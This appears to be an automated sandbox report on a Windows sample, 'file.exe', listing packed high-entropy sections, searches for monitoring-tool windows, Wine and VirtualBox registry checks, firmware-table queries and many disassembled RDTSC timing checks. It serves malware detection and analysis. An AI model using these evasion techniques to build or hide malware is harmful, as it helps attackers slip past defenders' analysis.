Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010383AE pushad ; ret	0_3_010383B1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010383AE pushad ; ret	0_3_010383B1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010383AE pushad ; ret	0_3_010383B1

Source: file.exe	Static PE information: section name: entropy: 7.97602677470953
Source: file.exe	Static PE information: section name: tnkncgci entropy: 7.95393893615874

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3FBE91 second address: 3FBE97 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3FB7C0 second address: 3FB7C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57ACA4 second address: 57ACA9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57ACA9 second address: 57ACB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57ACB3 second address: 57ACBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57AF77 second address: 57AF7E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57B0AC second address: 57B0B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57B0B2 second address: 57B0B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57B2B4 second address: 57B2B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57DF55 second address: 57DF65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop ebx 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57DF65 second address: 57DF7B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1374D398C2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57DF7B second address: 57DF81 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57DF81 second address: 57DF85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57E069 second address: 57E08D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 jmp 00007F1374C2DE17h 0x0000000e pop eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57E08D second address: 57E0B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a jmp 00007F1374D398C0h 0x0000000f mov eax, dword ptr [eax] 0x00000011 jl 00007F1374D398C4h 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57E0B2 second address: 57E0D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F1374C2DE06h 0x0000000a popad 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F1374C2DE14h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57E0D7 second address: 57E158 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1374D398C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a mov ecx, 16C2A4DBh 0x0000000f push 00000003h 0x00000011 jmp 00007F1374D398C8h 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a push ecx 0x0000001b call 00007F1374D398B8h 0x00000020 pop ecx 0x00000021 mov dword ptr [esp+04h], ecx 0x00000025 add dword ptr [esp+04h], 00000014h 0x0000002d inc ecx 0x0000002e push ecx 0x0000002f ret 0x00000030 pop ecx 0x00000031 ret 0x00000032 mov dword ptr [ebp+122D30EFh], eax 0x00000038 push 00000003h 0x0000003a jnl 00007F1374D398B9h 0x00000040 or ecx, 0AB59B45h 0x00000046 push 998F67B1h 0x0000004b push eax 0x0000004c push edx 0x0000004d push eax 0x0000004e jmp 00007F1374D398BEh 0x00000053 pop eax 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57E158 second address: 57E1BA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1374C2DE0Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 598F67B1h 0x00000010 pushad 0x00000011 or ah, FFFFFFC9h 0x00000014 jmp 00007F1374C2DE0Dh 0x00000019 popad 0x0000001a lea ebx, dword ptr [ebp+12455E58h] 0x00000020 push 00000000h 0x00000022 push esi 0x00000023 call 00007F1374C2DE08h 0x00000028 pop esi 0x00000029 mov dword ptr [esp+04h], esi 0x0000002d add dword ptr [esp+04h], 0000001Ah 0x00000035 inc esi 0x00000036 push esi 0x00000037 ret 0x00000038 pop esi 0x00000039 ret 0x0000003a mov edx, dword ptr [ebp+122D3536h] 0x00000040 sub dword ptr [ebp+122D2A1Ch], esi 0x00000046 push eax 0x00000047 push eax 0x00000048 push edx 0x00000049 push eax 0x0000004a push eax 0x0000004b push edx 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57E1BA second address: 57E1BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57E372 second address: 57E42C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1374C2DE19h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007F1374C2DE08h 0x0000000f popad 0x00000010 push eax 0x00000011 jno 00007F1374C2DE12h 0x00000017 mov eax, dword ptr [esp+04h] 0x0000001b jno 00007F1374C2DE10h 0x00000021 mov eax, dword ptr [eax] 0x00000023 ja 00007F1374C2DE0Ch 0x00000029 pushad 0x0000002a pushad 0x0000002b popad 0x0000002c pushad 0x0000002d popad 0x0000002e popad 0x0000002f mov dword ptr [esp+04h], eax 0x00000033 jbe 00007F1374C2DE10h 0x00000039 pop eax 0x0000003a mov edx, ebx 0x0000003c push 00000003h 0x0000003e push 00000000h 0x00000040 push ecx 0x00000041 call 00007F1374C2DE08h 0x00000046 pop ecx 0x00000047 mov dword ptr [esp+04h], ecx 0x0000004b add dword ptr [esp+04h], 00000015h 0x00000053 inc ecx 0x00000054 push ecx 0x00000055 ret 0x00000056 pop ecx 0x00000057 ret 0x00000058 push 00000000h 0x0000005a sbb dx, C500h 0x0000005f jno 00007F1374C2DE12h 0x00000065 push 00000003h 0x00000067 mov di, dx 0x0000006a push A4250556h 0x0000006f push eax 0x00000070 push edx 0x00000071 push eax 0x00000072 push edx 0x00000073 push eax 0x00000074 pop eax 0x00000075 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57E42C second address: 57E432 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57E432 second address: 57E446 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1374C2DE10h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59E889 second address: 59E891 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59E891 second address: 59E895 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59E895 second address: 59E8C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F1374D398B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d pushad 0x0000000e push ebx 0x0000000f jnl 00007F1374D398B6h 0x00000015 jo 00007F1374D398B6h 0x0000001b pop ebx 0x0000001c jmp 00007F1374D398C0h 0x00000021 pushad 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59E8C4 second address: 59E8CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59C8D7 second address: 59C8DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59CB6E second address: 59CB78 instructions: 0x00000000 rdtsc 0x00000002 js 00007F1374C2DE06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59CE94 second address: 59CECA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1374D398C4h 0x00000009 jmp 00007F1374D398C8h 0x0000000e pop ebx 0x0000000f push esi 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59CFFD second address: 59D005 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59D005 second address: 59D009 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59D284 second address: 59D292 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pushad 0x00000009 popad 0x0000000a pop esi 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59D292 second address: 59D29F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F1374D398B6h 0x0000000a push esi 0x0000000b pop esi 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59D40F second address: 59D418 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59D418 second address: 59D428 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1374D398BCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59D5CD second address: 59D5D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59D5D2 second address: 59D5DD instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 je 00007F1374D398B6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59D5DD second address: 59D5E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59D913 second address: 59D938 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c jmp 00007F1374D398C9h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59D938 second address: 59D944 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jns 00007F1374C2DE06h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59D944 second address: 59D94B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59D94B second address: 59D955 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 push edx 0x00000007 pop edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59DFCF second address: 59DFD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59DFD3 second address: 59DFD7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59DFD7 second address: 59DFED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1374D398C0h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59E40A second address: 59E44C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1374C2DE18h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a je 00007F1374C2DE06h 0x00000010 jg 00007F1374C2DE06h 0x00000016 pop ebx 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F1374C2DE16h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A4B03 second address: 5A4B13 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a jbe 00007F1374D398B6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A4E38 second address: 5A4E40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A9664 second address: 5A9675 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F1374D398B6h 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A8C57 second address: 5A8C69 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 ja 00007F1374C2DE06h 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A8C69 second address: 5A8C6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A8DA6 second address: 5A8DC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 jbe 00007F1374C2DE19h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AA3F8 second address: 5AA3FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AA3FC second address: 5AA406 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F1374C2DE06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AA406 second address: 5AA40C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AA40C second address: 5AA410 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AA474 second address: 5AA478 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AA708 second address: 5AA725 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F1374C2DE10h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AA800 second address: 5AA805 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AA805 second address: 5AA80C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AA93D second address: 5AA941 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AA941 second address: 5AA947 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AAEAF second address: 5AAEBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F1374D398B6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AB339 second address: 5AB33E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AB33E second address: 5AB355 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F1374D398B8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 js 00007F1374D398B6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AB355 second address: 5AB35F instructions: 0x00000000 rdtsc 0x00000002 je 00007F1374C2DE06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AB435 second address: 5AB439 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AB439 second address: 5AB460 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F1374C2DE06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d pushad 0x0000000e jmp 00007F1374C2DE0Ah 0x00000013 jp 00007F1374C2DE06h 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c jbe 00007F1374C2DE06h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AB4DA second address: 5AB4ED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jl 00007F1374D398B6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AB4ED second address: 5AB4FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jnp 00007F1374C2DE06h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AB4FA second address: 5AB528 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push ebx 0x0000000b call 00007F1374D398B8h 0x00000010 pop ebx 0x00000011 mov dword ptr [esp+04h], ebx 0x00000015 add dword ptr [esp+04h], 00000014h 0x0000001d inc ebx 0x0000001e push ebx 0x0000001f ret 0x00000020 pop ebx 0x00000021 ret 0x00000022 xchg eax, ebx 0x00000023 push ebx 0x00000024 push eax 0x00000025 push edx 0x00000026 jnc 00007F1374D398B6h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AC2C2 second address: 5AC2CC instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F1374C2DE06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AC2CC second address: 5AC2D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F1374D398B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AD2C1 second address: 5AD2CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F1374C2DE06h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AD2CC second address: 5AD2D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AD2D2 second address: 5AD2D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
